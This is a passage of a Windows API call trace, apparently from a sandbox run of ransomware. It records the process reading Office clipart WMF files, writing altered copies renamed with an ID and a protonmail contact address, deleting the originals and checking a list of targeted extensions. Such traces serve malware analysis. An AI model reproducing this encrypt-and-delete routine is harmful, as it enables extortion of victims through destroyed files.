	[0197.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0197.148] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=13436) returned 1
	[0197.148] CloseHandle (hObject=0x5c4) returned 1
	[0197.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220
	[0197.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0197.595] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.595] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0197.596] GetLastError () returned 0x0
	[0197.596] ReadFile (in: hFile=0x5b0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x347c, lpOverlapped=0x0) returned 1
	[0197.598] WriteFile (in: hFile=0x554, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3480, lpOverlapped=0x0) returned 1
	[0197.599] ReadFile (in: hFile=0x5b0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.600] WriteFile (in: hFile=0x554, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.600] SetEndOfFile (hFile=0x554) returned 1
	[0197.600] CloseHandle (hObject=0x554) returned 1
	[0197.600] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.600] SetEndOfFile (hFile=0x5b0) returned 1
	[0197.603] CloseHandle (hObject=0x5b0) returned 1
	[0197.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1
	[0197.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.604] lstrlenW (lpString=".doc") returned 4
	[0197.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.604] lstrlenW (lpString=".docx") returned 5
	[0197.604] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0197.604] lstrlenW (lpString=".pdf") returned 4
	[0197.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.604] lstrlenW (lpString=".xls") returned 4
	[0197.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.604] lstrlenW (lpString=".xlsx") returned 5
	[0197.604] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0197.604] lstrlenW (lpString=".ppt") returned 4
	[0197.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.605] lstrlenW (lpString=".zip") returned 4
	[0197.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.605] lstrlenW (lpString=".rar") returned 4
	[0197.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString=".bz2") returned 4
	[0197.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString=".7z") returned 3
	[0197.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.605] lstrlenW (lpString=".dbf") returned 4
	[0197.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.605] lstrlenW (lpString=".1cd") returned 4
	[0197.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.605] lstrlenW (lpString=".jpg") returned 4
	[0197.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.605] lstrlenW (lpString=".doc") returned 4
	[0197.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString=".docx") returned 5
	[0197.605] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0197.605] lstrlenW (lpString=".pdf") returned 4
	[0197.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.605] lstrlenW (lpString=".xls") returned 4
	[0197.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.606] lstrlenW (lpString=".xlsx") returned 5
	[0197.606] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0197.606] lstrlenW (lpString=".ppt") returned 4
	[0197.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.606] lstrlenW (lpString=".zip") returned 4
	[0197.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.606] lstrlenW (lpString=".rar") returned 4
	[0197.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.606] lstrlenW (lpString=".bz2") returned 4
	[0197.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.606] lstrlenW (lpString=".7z") returned 3
	[0197.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.606] lstrlenW (lpString=".dbf") returned 4
	[0197.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.606] lstrlenW (lpString=".1cd") returned 4
	[0197.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0197.606] lstrlenW (lpString=".jpg") returned 4
	[0197.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.606] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.606] lstrlenW (lpString="J0107350.WMF") returned 12
	[0197.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0197.607] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=23672) returned 1
	[0197.607] CloseHandle (hObject=0x5b0) returned 1
	[0197.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220
	[0197.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0197.608] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.608] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0197.609] GetLastError () returned 0x0
	[0197.609] ReadFile (in: hFile=0x5b0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x5c78, lpOverlapped=0x0) returned 1
	[0197.615] WriteFile (in: hFile=0x554, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x5c80, lpOverlapped=0x0) returned 1
	[0197.616] ReadFile (in: hFile=0x5b0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.616] WriteFile (in: hFile=0x554, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.617] SetEndOfFile (hFile=0x554) returned 1
	[0197.786] CloseHandle (hObject=0x554) returned 1
	[0197.786] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.786] SetEndOfFile (hFile=0x5b0) returned 1
	[0197.792] CloseHandle (hObject=0x5b0) returned 1
	[0197.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1
	[0197.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.863] lstrlenW (lpString=".doc") returned 4
	[0197.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString=".docx") returned 5
	[0197.864] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.864] lstrlenW (lpString=".pdf") returned 4
	[0197.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString=".xls") returned 4
	[0197.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.864] lstrlenW (lpString=".xlsx") returned 5
	[0197.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.864] lstrlenW (lpString=".ppt") returned 4
	[0197.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.864] lstrlenW (lpString=".zip") returned 4
	[0197.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.864] lstrlenW (lpString=".rar") returned 4
	[0197.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString=".bz2") returned 4
	[0197.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString=".7z") returned 3
	[0197.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.864] lstrlenW (lpString=".dbf") returned 4
	[0197.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.864] lstrlenW (lpString=".1cd") returned 4
	[0197.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.864] lstrlenW (lpString=".jpg") returned 4
	[0197.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.864] lstrlenW (lpString=".doc") returned 4
	[0197.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString=".docx") returned 5
	[0197.865] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0197.865] lstrlenW (lpString=".pdf") returned 4
	[0197.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString=".xls") returned 4
	[0197.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.865] lstrlenW (lpString=".xlsx") returned 5
	[0197.865] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0197.865] lstrlenW (lpString=".ppt") returned 4
	[0197.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.865] lstrlenW (lpString=".zip") returned 4
	[0197.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.865] lstrlenW (lpString=".rar") returned 4
	[0197.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString=".bz2") returned 4
	[0197.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString=".7z") returned 3
	[0197.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.865] lstrlenW (lpString=".dbf") returned 4
	[0197.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.865] lstrlenW (lpString=".1cd") returned 4
	[0197.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0197.865] lstrlenW (lpString=".jpg") returned 4
	[0197.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.865] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.866] lstrlenW (lpString="J0107364.WMF") returned 12
	[0197.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.868] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=16588) returned 1
	[0197.868] CloseHandle (hObject=0x460) returned 1
	[0197.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220
	[0197.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0197.875] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.875] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.877] GetLastError () returned 0x0
	[0197.877] ReadFile (in: hFile=0x5e0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x40cc, lpOverlapped=0x0) returned 1
	[0197.901] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x40d0, lpOverlapped=0x0) returned 1
	[0197.902] ReadFile (in: hFile=0x5e0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.902] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.902] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.902] CloseHandle (hObject=0x5ec) returned 1
	[0197.903] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.903] SetEndOfFile (hFile=0x5e0) returned 1
	[0197.905] CloseHandle (hObject=0x5e0) returned 1
	[0197.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1
	[0197.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.907] lstrlenW (lpString=".doc") returned 4
	[0197.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.907] lstrlenW (lpString=".docx") returned 5
	[0197.907] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0197.907] lstrlenW (lpString=".pdf") returned 4
	[0197.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.907] lstrlenW (lpString=".xls") returned 4
	[0197.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.907] lstrlenW (lpString=".xlsx") returned 5
	[0197.907] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0197.907] lstrlenW (lpString=".ppt") returned 4
	[0197.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.907] lstrlenW (lpString=".zip") returned 4
	[0197.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.907] lstrlenW (lpString=".rar") returned 4
	[0197.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.907] lstrlenW (lpString=".bz2") returned 4
	[0197.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.907] lstrlenW (lpString=".7z") returned 3
	[0197.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.907] lstrlenW (lpString=".dbf") returned 4
	[0197.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.907] lstrlenW (lpString=".1cd") returned 4
	[0197.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.908] lstrlenW (lpString=".jpg") returned 4
	[0197.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.908] lstrlenW (lpString=".doc") returned 4
	[0197.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString=".docx") returned 5
	[0197.908] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0197.908] lstrlenW (lpString=".pdf") returned 4
	[0197.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString=".xls") returned 4
	[0197.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.908] lstrlenW (lpString=".xlsx") returned 5
	[0197.908] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0197.908] lstrlenW (lpString=".ppt") returned 4
	[0197.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.908] lstrlenW (lpString=".zip") returned 4
	[0197.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.908] lstrlenW (lpString=".rar") returned 4
	[0197.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString=".bz2") returned 4
	[0197.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString=".7z") returned 3
	[0197.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.908] lstrlenW (lpString=".dbf") returned 4
	[0197.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.908] lstrlenW (lpString=".1cd") returned 4
	[0197.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0197.909] lstrlenW (lpString=".jpg") returned 4
	[0197.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.909] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.909] lstrlenW (lpString="J0107426.WMF") returned 12
